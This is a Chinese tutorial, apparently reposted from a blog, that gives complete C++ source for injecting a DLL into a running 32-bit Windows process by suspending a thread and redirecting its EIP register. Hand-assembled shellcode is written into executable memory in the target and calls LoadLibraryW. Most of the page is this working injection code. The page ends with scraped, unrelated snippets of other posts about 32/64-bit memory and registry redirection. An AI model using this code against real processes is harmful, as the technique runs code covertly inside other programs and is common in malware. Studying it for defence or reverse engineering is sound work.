通过修改EIP寄存器实现32位程序的DLL注入

功能:通过修改EIP寄存器实现32位程序的DLL注入 <如果是64位 记得自己对应修改汇编代码部分>

原理:挂起目标进程,停止目标进程EIP的变换,在目标进程开启空间,然后把相关的指令机器码和数据拷贝到里面去,然后修改目标进程EIP使其强行跳转到我们拷贝进去的相关机器码位置,执行相关,然后跳转回来。下面的例子是实现DLL注入,但是和平时说的远程代码注入在注入的逻辑上不同,但是同时都是用到了一个重要的结论就是:很多系统dll的导出函数地址在不同进程中,是一样的.


思路 :


修改EID实现代码注入的汇编思路如下
SuspendThread();
get eip
push ad
push fd
push AddressDllFilePath
call LoadLibrary
pop fd
pop ad
jmp eip //这个是为了让程序执行完我们的代码之后自己跳转回去继续执行
ResumeThread();
*/

/*
注意两个问题
1.call 如果直接是个地址的话要这么计算
    call RVA - call指令的下一条地址 RVA - (nowaddress + 5) //+5是因为 call dword 是长度5 1+4
2.jmp 直接跳转地址也是同理
    jmp RVA - jmp指令的销一条地址 RVA - (nowaddress + 5) //+5是因为 jmp dword 长度是5 1+4
Tip
还有就是要知道,Kernel32.LoadLibraryW的地址不同进程是一样的,这样就可以直接得到相关RVA
*/

#include "stdafx.h"
#include <string>
#include <windows.h>
#include "AnalyzeAndRun.h"
using namespace std; 

WCHAR pDllPath[] = L"C:\\TestDllMexxBoxX32.dll"; //被注入dll的路径(32位)
VOID Test(){
HWND hWnd=::FindWindow(NULL,L"AAA"); //注入的线程对应窗体的title AAA,
//主要就是为了获得tid 和 pid 这个地方可以对应修改,通过别的姿势获取。
if(hWnd==NULL){
MessageBox(NULL ,L"未获取窗口句柄!",L"失败",MB_OK);
return;
}
DWORD pid,tid;
tid=GetWindowThreadProcessId(hWnd,&pid);
if(tid<=0){
MessageBox(NULL ,L"未获取线程ID",L"失败" ,MB_OK);
return;
}
if(pid<=0){
MessageBox(NULL ,L"未获取进程ID",L"失败" ,MB_OK);
return;
}
HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if(hProcess <= 0){
MessageBox(NULL ,L"未获取进程句柄",L"失败" ,MB_OK);
return;
}
HANDLE hThread=OpenThread(THREAD_ALL_ACCESS,FALSE,tid);
if(hThread <= 0){
MessageBox(NULL ,L"未获取线程ID",L"失败" ,MB_OK);
return;
}
SuspendThread(hThread); //挂起线程 

CONTEXT ct={0};
ct.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(hThread,&ct); //获取,保存线程寄存器相关 

DWORD dwSize = sizeof(WCHAR)*1024; //0-0x100 写代码 之后写数据
BYTE *pProcessMem = (BYTE *)::VirtualAllocEx(hProcess,NULL,dwSize,MEM_COMMIT,PAGE_EXECUTE_READWRITE);
DWORD dwWrited = 0;
::WriteProcessMemory(hProcess, (pProcessMem + 0x100), pDllPath, //先把路径(数据)写到内存里,从0x100开始
(wcslen(pDllPath) + 1) * sizeof(WCHAR), &dwWrited); 

FARPROC pLoadLibraryW = (FARPROC)::GetProcAddress(::GetModuleHandle(L"Kernel32"), "LoadLibraryW");
BYTE ShellCode[32] = { 0 };
DWORD *pdwAddr = NULL; 

ShellCode[0] = 0x60; // pushad
ShellCode[1] = 0x9c; // pushfd
ShellCode[2] = 0x68; // push
pdwAddr = (DWORD *)&ShellCode[3]; // ShellCode[3/4/5/6]
*pdwAddr = (DWORD)(pProcessMem + 0x100);
ShellCode[7] = 0xe8;//call
pdwAddr = (DWORD *)&ShellCode[8]; // ShellCode[8/9/10/11]
*pdwAddr = (DWORD)pLoadLibraryW - ((DWORD)(pProcessMem + 7) + 5 ); // 因为直接call地址了,所以对应机器码需要转换,计算VA
ShellCode[12] = 0x9d; // popfd
ShellCode[13] = 0x61; // popad
ShellCode[14] = 0xe9; // jmp 

pdwAddr = (DWORD *)&ShellCode[15]; // ShellCode[15/16/17/18]
*pdwAddr = ct.Eip - ((DWORD)(pProcessMem + 14) + 5); //因为直接jmp地址了,所以对应机器码需要转换,计算VA
::WriteProcessMemory(hProcess, pProcessMem, ShellCode, sizeof(ShellCode), &dwWrited);
ct.Eip = (DWORD)pProcessMem;
::SetThreadContext(hThread, &ct); 

::ResumeThread(hThread);
::CloseHandle(hProcess);
::CloseHandle(hThread); 

}
int _tmain(int argc, _TCHAR* argv[]){
Test();
return 0;
}

原文地址:https://www.cnblogs.com/LyShark/p/9051751.html

时间: 2024-10-19 23:55:25

通过修改EIP寄存器实现32位程序的DLL注入的相关文章

关于32位程序的内存

在上大学的时候老师提到过这么一个知识点 32位程序的寻址能力是2^32,也就是4G.对于32位程序只能申请到4G的内存.而且这4G内存中,在windows下有2G,linux下有1G是保留给内核态使用,用户态无法访问.故只能分配2G.3G的内存使用. 前几天服务器报警了,无法负载更多的用户进行访问.赶紧看了下程序的自我评分,显示内存占用达到3.6G,无法继续工作. WTF?3.6G?超过linux下32位程序只能使用3G内存的限制? 这个时候怀疑是评分程序写错了,赶紧用TOP看了下内存,也达到了

32位程序移植64位经验

最近移植了一个32位程序到64位,原本以为简单的事,折腾了好几天,现在记录下来过程,供有相关问题的人参考:程序是一个输入法,源代码来自盒子 http://www.2ccc.com/article.asp?articleid=2850,再此感谢刘麻子大侠,输入法大量的使用了windows定义的结构体或记录类型,涉及的数据类型很多,在32到64转换的过程中参考了http://blog.csdn.net/hpjx1987/article/details/51453586,首先感谢作者共享知识,但这里有

关于32位程序在64位系统下运行中需要注意的重定向问题(有图,很清楚)

0x00 前言 最近学习了[email protected]的文章<Persistence Architecture Matters>,恰巧解决了我之前遇到过的一个问题,理清了文件和注册表重定向中需要注意的细节 大家在学习的过程中难免也会碰到,所以在此分享一下. <Persistence Architecture Matters>的链接:https://labs.mwrinfosecurity.com/blog/persistence-architecture-matters/ 0

【转】在64位机上跑32位程序注意事项

原文网址:http://blog.chinaunix.net/uid-20742320-id-4744472.html 今天在交叉编译一个应用程序时,发现porting到板子上比较麻烦(nfs还没有支持),想现在PC上调试. 于是在板子上编译好,运行,发现指定的网页打不开,以为是httpd的confi有些出入,检查了下,没有错误. 在一筹莫展之际,直接在pc上运行突然发现出现segmdefault. segmdefault又是如何出现的呢? 通过file命令查看目标文件是elf64 而reade

32位程序注入64位DLL到64位进程

向其它进程注入DLL通常的做法是通过调用CreateRemoteThread这个API在目标进程内创建一个远程线程.用这个线程来调用LoadLibraryA或LoadLibraryW(下文统称LoadLibrary)以实现让目标进程载入指定的DLL文件. 使用CreateRemoteThread创建一个远程线程须要传入一个线程过程函数的地址,而且这个函数地址是须要在目标进程中有效的. 因为LoadLibrary是kernel32.dll的导出函数.所以对于执行在同一个系统上的同为32位的进程或同

64位IOS系统中敲壳提取32位程序

测试机一直是5s和6,Clutch敲壳,实际是一个内存dump的过程,所以每次敲壳后的程序载入IDA都不能开心的F5来查看交叉引用以及简要逻辑. 终于决定要搞下这个坑,发现竟然并不是太简单的事情,或许还是IOS的相关知识掌握的不多. 首先,我们查找到lipo这个东西.lipo是command-tools里面的工具,之前或许是随着xcode一起下发的,貌似某个6.x的版本之后,就独立了出来,需要单独下载. xcode-select --install 此处也是一个坑,为了文件交换的方便,我使用的是

C# 32位程序在64位系统下注册表操作

在64位的Windows操作系统中,为了兼容32位程序的运行,64位的Windows操作系统采用重定向机制.目的是为了能让32位程序在64位的操作系统不仅能操作关键文件文夹和关键的注册表并且又要避免与64位程序冲突 相关资料请查看32位程序在64位系统下运行的重定向机制 下面是以获取操作系统安装密匙KEY的案例: using System; using System.Collections.Generic; using System.Linq; using System.Text; using

64位系统上运行32位程序能否申请到8G内存?

申请不到,因为64为系统在运行32位程序的时候只是为了向下兼容而已,对于32位程序来讲,申请8G的存储空间没有任何意义,因为32位的程序最大寻址空间只有4G,32位程序在编译之后的机器代码也只有32位的寻址数(指针占4个字节),因此申请8G的空间是没啥意义的,而且一般系统都会为每个进程设置一些资源限制,对于32位程序其能申请的内存量也远远小于4G可以看一下下面这个表操作系统内部数据结构限制对比 IT168评测中心 分组 限制 64位Windows限制 类别 单个进程虚拟空间 4GB 16TB 用

32位程序在64位系统上获取系统安装时间(要使用KEY_WOW64_64KEY标记)

众所周知,取系统的安装时间可取注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion的子项InstallDate,此值是个DWORD类型的UnixStamp.  但是在64位系统上有所不同(仅测试了win7.win8),默认情况下32程序在64位机器上访问的是下面这个地址HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion